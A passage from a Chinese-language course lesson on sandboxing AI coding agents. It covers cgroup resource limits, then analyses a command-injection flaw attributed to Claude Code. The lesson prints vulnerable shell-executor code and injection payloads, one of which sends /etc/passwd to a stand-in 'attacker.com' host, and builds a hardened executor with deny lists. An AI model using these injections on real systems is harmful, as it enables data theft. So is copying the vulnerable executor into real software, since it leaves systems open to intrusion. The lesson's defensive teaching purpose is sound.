join(this.cgroupPath, 'memory.current'),
'utf-8'
);
const cpuStat = await readFile(
join(this.cgroupPath, 'cpu.stat'),
'utf-8'
);
const pidsCurrent = await readFile(
join(this.cgroupPath, 'pids.current'),
'utf-8'
);
return {
memory: {
current: parseInt(memoryCurrent.trim()),
max: await this.readLimit('memory.max'),
},
cpu: {
usageUs: this.parseCpuStat(cpuStat),
},
pids: {
current: parseInt(pidsCurrent.trim()),
max: await this.readLimit('pids.max'),
},
};
}
private async readLimit(filename: string): Promise<number> {
try {
const content = await readFile(join(this.cgroupPath, filename), 'utf-8');
return parseInt(content.trim());
} catch {
return Infinity;
}
}
private parseCpuStat(cpuStat: string): number {
const match = cpuStat.match(/^usage_usec (\d+)/m);
return match ? parseInt(match[1]) : 0;
}
/**
* 删除 cgroup
*/
async remove(): Promise<void> {
// 需要先移动所有进程到其他 cgroup
try {
const procsContent = await readFile(
join(this.cgroupPath, 'cgroup.procs'),
'utf-8'
);
const procs = procsContent.trim().split('\n').filter(Boolean);
for (const pid of procs) {
await writeFile('/sys/fs/cgroup/cgroup.procs', pid);
}
} catch {
// 忽略错误
}
// 删除目录
const { exec } = await import('child_process');
const { promisify } = await import('util');
const rmdir = promisify(exec);
try {
await rmdir(`rmdir ${this.cgroupPath}`);
} catch {
// 可能正在使用
}
}
}
export interface CgroupUsage {
memory: {
current: number;
max: number;
};
cpu: {
usageUs: number;
};
pids: {
current: number;
max: number;
};
}
/**
* 使用示例
*/
async function cgroupExample() {
const controller = new CgroupController('sandbox-123', 12345);
// 创建 cgroup
await controller.create();
// 添加进程
await controller.addProcess();
// 设置限制
await controller.setMemoryLimit(512 * 1024 * 1024); // 512MB
await controller.setCPULimit(50000); // 0.5 个 CPU
await controller.setPidsLimit(50); // 最多 50 个进程
// 监控使用情况
setInterval(async () => {
const usage = await controller.getUsage();
console.log('Resource usage:', usage);
// 如果接近限制,发出警告
if (usage.memory.current > usage.memory.max * 0.9) {
console.warn('⚠️ 内存使用接近限制!');
}
}, 5000);
}
5.6 CVE-2025-59536 远程代码执行漏洞分析
漏洞概述
CVE-2025-59536 是 Claude Code 源码泄露事件中发现的一个严重远程代码执行漏洞。
CVSS 评分: 9.8 (Critical)
影响版本: <= 2.1.88
修复版本: >= 2.1.89
漏洞位置
typescript
// src/tools/shell-executor.ts (漏洞版本)
import { execSync } from 'child_process';
export class ShellExecutor {
/**
* ❌ 漏洞版本:命令注入
*/
async executeCommand(cmd: string, options: ExecOptions): Promise<string> {
// ❌ 问题 1:只过滤分号,攻击者可以使用 && 或 | 绕过
const sanitized = cmd.replace(/;/g, '');
// ❌ 问题 2:直接将用户输入拼接到 shell 命令中
const fullCommand = `cd ${options.cwd} && ${sanitized}`;
// ❌ 问题 3:使用 execSync 会启动 shell,允许 shell 特性
const output = execSync(fullCommand, {
encoding: 'utf-8',
env: options.env,
});
return output;
}
}
利用方式
攻击场景 1:命令注入绕过
javascript
// 用户输入
const userInput = "ls && cat /etc/passwd";
// 经过"过滤"
const sanitized = userInput.replace(/;/g, '');
// 结果:"ls && cat /etc/passwd" (没有任何改变!)
// 最终执行的命令
execSync(`cd /workspace && ls && cat /etc/passwd`);
// ✅ 成功读取 /etc/passwd
攻击场景 2:管道注入
javascript
// 恶意输入
const maliciousInput = "echo 'test' | curl -d @/etc/passwd http://attacker.com";
// 执行后会发送敏感数据到攻击者服务器
execSync(`cd /workspace && echo 'test' | curl -d @/etc/passwd http://attacker.com`);
攻击场景 3:反引号命令替换
javascript
// 利用反引号执行嵌套命令
const payload = "echo `cat /etc/shadow`";
// 会先执行反引号内的命令
execSync(`cd /workspace && echo \`cat /etc/shadow\``);
攻击场景 4:$() 命令替换
javascript
// 使用 $() 语法
const payload = "ls $(whoami)";
// 会先执行 whoami,然后执行 ls <username>
execSync(`cd /workspace && ls $(whoami)`);
完整修复方案
typescript
// src/tools/shell-executor.ts (修复版本)
import { spawn, SpawnOptions } from 'child_process';
import { z } from 'zod';
/**
* 安全的命令执行器
*/
export class SecureShellExecutor {
// 命令白名单
private static readonly ALLOWED_COMMANDS = new Set([
'ls', 'dir', 'cat', 'head', 'tail', 'wc',
'grep', 'find', 'which', 'where', 'pwd',
'mkdir', 'rmdir', 'cp', 'mv', 'rm', 'touch',
'chmod', 'chown', 'ln',
'git', 'npm', 'pnpm', 'yarn', 'node',
'python', 'python3', 'pip', 'pip3',
'cargo', 'rustc',
'gcc', 'g++', 'make',
'docker', 'docker-compose',
'curl', 'wget',
'jq', 'sed', 'awk',
]);
// 完全禁止的命令
private static readonly DENIED_COMMANDS = new Set([
'sudo', 'su', 'pkexec', 'doas',
'mkfs', 'dd', 'fdisk', 'parted',
'mount', 'umount',
'reboot', 'shutdown', 'halt', 'poweroff',
'rm', // rm 需要特殊处理
]);
// 危险字符模式
private static readonly DANGEROUS_PATTERNS = [
/[;&|]/, // 命令分隔符
/[<>]/, // 重定向
/\$\(/, // 命令替换
/`/, // 反引号
/\{[^}]*\}/, // 花括号扩展
/\*|\?/, // 通配符(在某些上下文中)
/~/, // home 目录扩展
];
/**
* 参数 Schema 验证
*/
private static readonly CommandSchema = z.object({
command: z.string().max(1000),
args: z.array(z.string().max(255)).optional().default([]),
cwd: z.string().max(500),
env: z.record(z.string()).optional(),
timeout: z.number().max(300000).default(30000),
});
/**
* 安全执行命令
*/
async execute(params: CommandParams): Promise<ExecutionResult> {
const startTime = Date.now();
try {
// ========== 第 1 层:输入验证 ==========
const validatedParams = this.validateInput(params);
// ========== 第 2 层:命令白名单检查 ==========
this.checkCommandWhitelist(validatedParams.command);
// ========== 第 3 层:参数安全检查 ==========
this.checkArguments(validatedParams.args || []);
// ========== 第 4 层:路径安全检查 ==========
await this.checkWorkingDirectory(validatedParams.cwd);
// ========== 第 5 层:使用 spawn 而非 exec ==========
const result = await this.spawnProcess(validatedParams);
return {
success: result.exitCode === 0,
stdout: result.stdout,
stderr: result.stderr,
exitCode: result.exitCode,
duration: Date.now() - startTime,
};
} catch (error) {
return {
success: false,
stdout: '',
stderr: error instanceof Error ? error.message : String(error),
exitCode: -1,
duration: Date.now() - startTime,
};
}
}
/**
* 第 1 层:输入验证
*/
private validateInput(params: any): CommandParams {
try {
return SecureShellExecutor.CommandSchema.parse(params);
} catch (error) {
if (error instanceof z.ZodError) {
throw new ValidationError(
'命令参数格式不正确',
error.errors
);
}
throw error;
}
}
/**
* 第 2 层:命令白名单检查
*/
private checkCommandWhitelist(command: string): void {
// 提取基础命令(去除路径)
const baseCommand = command.split(/[\/\\]/).pop()?.toLowerCase();
if (!baseCommand) {
throw new SecurityError('无效的命令格式');
}
// 检查是否在白名单中
if (!SecureShellExecutor.ALLOWED_COMMANDS.has(baseCommand)) {
throw new SecurityError(
`命令 "${baseCommand}" 不在白名单中。` +
`允许的命令包括:${Array.from(SecureShellExecutor.ALLOWED_COMMANDS).slice(0, 10).join(', ')}...`
);
}
// 检查是否在黑名单中
if (SecureShellExecutor.DENIED_COMMANDS.has(baseCommand)) {
throw new SecurityError(
`命令 "${baseCommand}" 被明确禁止`
);
}
}
/**
* 第 3 层:参数安全检查
*/
private checkArguments(args: string[]): void {
for (let i = 0; i < args.length; i++) {
const arg = args[i];
// 检查危险模式
for (const pattern of SecureShellExecutor.DANGEROUS_PATTERNS) {
if (pattern.test(arg)) {
throw new SecurityError(
`参数 ${i} 包含危险字符:${arg}\n` +
`禁止使用命令分隔符 (; & |)、重定向 (< >)、命令替换 ($() \`) 等 shell 特性`
);
}
}
// 检查路径遍历
if (arg.includes('..')) {
// 允许相对路径,但需要进一步检查
const resolved = require('path').resolve(arg);
if (!resolved.startsWith(process.cwd())) {
throw new SecurityError(
`参数 ${i} 包含路径遍历:${arg}`
);
}
}
}
}
/**
* 第 4 层:工作目录检查
*/
private async checkWorkingDirectory(cwd: string): Promise<void> {
const fs = await import('fs/promises');
const path = await import('path');
// 解析绝对路径
const resolvedCwd = path.resolve(cwd);
// 检查目录是否存在
try {
const stats = await fs.stat(resolvedCwd);
if (!stats.isDirectory()) {
throw new SecurityError(`工作目录不是目录:${resolvedCwd}`);
}
// 检查是否在允许范围内
const allowedRoots = [process.cwd(), '/tmp', '/workspace'];
const isAllowed = allowedRoots.some(root =>
resolvedCwd.startsWith(root)
);
if (!isAllowed) {
throw new SecurityError(
`工作目录不在允许范围内:${resolvedCwd}`
);
}
} catch (error) {
if ((error as any).code === 'ENOENT') {
throw new SecurityError(`工作目录不存在:${resolvedCwd}`);
}
throw error;
}
}
/**
* 第 5 层:使用 spawn 执行(不启动 shell)
*/
private async spawnProcess(params: CommandParams): Promise<SpawnResult> {
return new Promise((resolve, reject) => {
const options: SpawnOptions = {
cwd: params.cwd,
env: { ...process.env, ...params.env },
stdio: ['ignore', 'pipe', 'pipe'],
// ⭐ 关键:不启动 shell
shell: false,
// 超时终止
timeout: params.timeout,
// 杀死进程组
detached: false,
};
const child = spawn(params.command, params.args || [], options);
let stdout = '';
let stderr = '';
child.stdout.on('data', (data) => {
stdout += data.toString();
});
child.stderr.on('data', (data) => {
stderr += data.toString();
});
child.on('error', reject);
child.on('close', (exitCode) => {
resolve({
stdout,
stderr,
exitCode: exitCode ?? -1,
});
});
// 超时处理
setTimeout(() => {
child.kill('SIGTERM');
child.on('close', () => {
reject(new TimeoutError(`命令执行超时 (${params.timeout}ms)`));
});
}, params.timeout);
});
}
}
interface CommandParams {
command: string;
args?: string[];
cwd: string;
env?: Record<string, string>;
timeout?: number;
}
interface ExecutionResult {
success: boolean;
stdout: string;
stderr: string;
exitCode: number;
duration: number;
}
interface SpawnResult {
stdout: string;
stderr: string;
exitCode: number;
}
class SecurityError extends Error {}
class ValidationError extends Error {}
class TimeoutError extends Error {}
修复前后对比
| 维度 | 修复前 | 修复后 |
|---|---|---|
| 命令执行方式 | execSync() (启动 shell) |
spawn() (不启动 shell) |
| 输入过滤 | 只过滤分号 | Zod Schema 完整验证 |
| 命令控制 | 无 | 白名单 + 黑名单双重过滤 |
| 参数检查 | 无 | 危险模式检测 |
| 路径验证 | 无 | 严格的路径范围检查 |
| 超时控制 | 无 | 自动终止 |
| 错误处理 | 简单 | 结构化异常 |
课后练习
基础题
- OverlayFS 实验:手动搭建一个 OverlayFS 环境,体验分层文件系统
- Docker 网络隔离:创建一个内部网络,配置 iptables 规则
- cgroups 实践:使用 systemd-run 创建受限的 cgroup
进阶题
- 自定义 seccomp 配置:编写一个 seccomp 配置文件,阻止特定的系统调用
- SSRF 防护实现:实现完整的 SSRF 防护逻辑,包括 DNS rebinding 防护
- 命令注入测试:在测试环境中尝试各种命令注入技巧
挑战题
- 完整沙盒系统:集成 Docker、gVisor、eBPF,实现多层防护沙盒
- 性能基准测试:对比不同沙盒技术的性能开销
- 逃逸尝试:在授权环境下尝试容器逃逸技术(仅限学习)
下节预告
第 6 课:实战:从零搭建 AI Agent
- 🛠️ 完整的技术栈选型和架构设计
- 💻 六大核心模块的逐步实现
- 🤖 AI 模型集成和 Prompt Engineering
- 🧪 测试、部署、运维全流程
- 🎓 毕业设计:实现你自己的 AI 编程助手
版权声明:本课程内容仅用于教育和技术研究目的,请勿将所学知识用于非法活动。所有案例分析均基于公开信息,旨在提升安全意识和技术水平。